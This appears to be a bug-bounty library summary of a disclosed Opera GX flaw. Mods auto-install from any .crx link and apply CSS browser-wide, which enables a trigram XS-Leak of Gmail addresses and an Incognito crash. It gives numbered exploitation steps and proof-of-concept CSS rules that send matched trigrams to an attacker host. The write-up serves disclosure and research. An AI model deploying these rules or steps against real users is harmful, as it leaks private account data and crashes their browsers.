# One trigram at a time: XSLeak via Universal CSS Injection and DoS in Opera (GX)

Opera GX auto-installs attacker .crx mods, injecting universal CSS that exfiltrates Gmail addresses via trigram XS-Leak and crashes Incognito.

- Payout: $5,000
- Severity: high
- Program: Opera
- Disclosed: 2026-07-03
- Write-up quality: 9/10
- Original: https://zhero-web-sec.github.io/research-and-things/one-trigram-at-a-time-xsleak-via-universal-css-injection-and-dos-in-opera-(gx)
- Library page: https://bugbountylibrary.com/r/blog%3Azhero-web-sec-github-io-research-and-things-one-trigram-at-a-time-xsleak-via-universal-css-injection-and-dos-in-opera-gx
- Tags: area:os domain:browser impact:data-leak impact:dos kind:research platform:research sev:high tech:chromium technique:chained technique:source-review vuln:dos vuln:info-disclosure vuln:xs-leak

**Target:** GX Mods .crx auto-install pipeline and mod CSS injection
**Root cause:** GX Mods are auto-installed from any visited .crx without prompt, and mod CSS is applied to every page/tab, giving attacker CSS universal scope; installing a mod in Incognito also crashes the browser.
**Steps:**
1. Host a malicious .crx containing a manifest.json and a large CSS file as a GX Mod.
2. Embed it in an attacker page via `<iframe src="https://attacker-host.com/mod.crx">`; the mod installs with no prompt.
3. CSS uses `html:has(meta[name="og-profile-acct"][content^='aaa'][content*='@gmail.com']) { --start: url('https://attacker-host.com/?start=aaa'); }` style rules for all 37^3 trigrams (50,653), split across meta/li/input sources.
4. Consume variables via `html { background-image: var(--start,none), var(--end,none), var(--t1,none), ... }` split across html, body, html::before to avoid crashes.
5. JS timer redirects victim to `https://myaccount.google.com/contactemail`; trigram requests fire to attacker host.
6. Reconstruct address with DFS overlap algorithm using trigram budgets (2 uses, end budget 1, retry if unused trigrams remain).
7. DoS: visit any `.crx` link in Incognito to crash and restart the browser, losing all tabs.
**How found:** Noticed GX Mods auto-install without prompt (prior Renwa research), then observed mod CSS applies to every page; tested Incognito install causing crash; tried @import chaining and mod-chaining (both failed), then used Gareth Heyes CSS variable slots to avoid cascade collisions and scaled to trigrams.
**Exploitation:** Victim visits attacker page; mod installs in seconds; JS redirects to myaccount.google.com/contactemail before user can click Remove; CSS :has selectors match trigrams of the Gmail address in meta/li/input attributes and load attacker URLs via CSS variables; server logs reconstruct the address.
**Escalation:** Split rule declarations across three DOM sources and consumption across html/body/html::before to keep ~17k variables per property, avoiding page crash while covering all 50,653 trigrams.
**Insight:** When CSS injection is universal (browser-wide), target pages where the secret appears in multiple attributes (meta/li/input) and split variable consumption across html/body/::before to stay under the browser's per-property layer crash threshold; use trigrams with overlap-based DFS reconstruction and per-trigram budgets for repeats.

## Proof of concept (copied exactly from the original report)

**Trigram CSS exfiltration rules with variable slots**

```
html:has(meta[name="og-profile-acct"][content*='aaa'][content*='@gmail.com']) { --t1: url('https://attacker-host.com/?t1=aaa'); }
html:has(meta[name="og-profile-acct"][content*='aab'][content*='@gmail.com']) { --t2: url('https://attacker-host.com/?t2=aab'); }
html:has(meta[name="og-profile-acct"][content*='aac'][content*='@gmail.com']) { --t3: url('https://attacker-host.com/?t3=aac'); }
```

**Split consumption of variables across elements**

```
html {
 background-image:
 var(--start,none), var(--end,none), var(--t1,none), ..., var(--t16884,none),
 none !important;
}

body {
 background-image:
 var(--t16885,none), ..., var(--t33768,none),
 none !important;
}

html::before {
 background-image:
 var(--t33769,none), ..., var(--t50653,none),
 none !important;
}
```

**Start/end trigram declaration rules**

```
html:has(meta[name="og-profile-acct"][content^='aaa'][content*='@gmail.com']) { --start: url('https://attacker-host.com/?start=aaa'); }
html:has(meta[name="og-profile-acct"][content^='aab'][content*='@gmail.com']) { --start: url('https://attacker-host.com/?start=aab'); }
html:has(meta[name="og-profile-acct"][content^='aac'][content*='@gmail.com']) { --start: url('https://attacker-host.com/?start=aac'); }

(...)


The latter will be populated by url('https://attacker-host.com/?start=...'); with the value of the matching trigram as the query value.

- 50 653 lines, for the declaration of the variable --end:
html:has(meta[name="og-profile-acct"][content$='aaa@gmail.com']) { --end: url('https://attacker-host.com/?end=aaa'); }
html:has(meta[name="og-profile-acct"][content$='aab@gmail.com']) { --end: url('https://attacker-host.com/?end=aab'); }
html:has(meta[name="og-profile-acct"][content$='aac@gmail.com']) { --end: url('https://attacker-host.com/?end=aac'); }
```

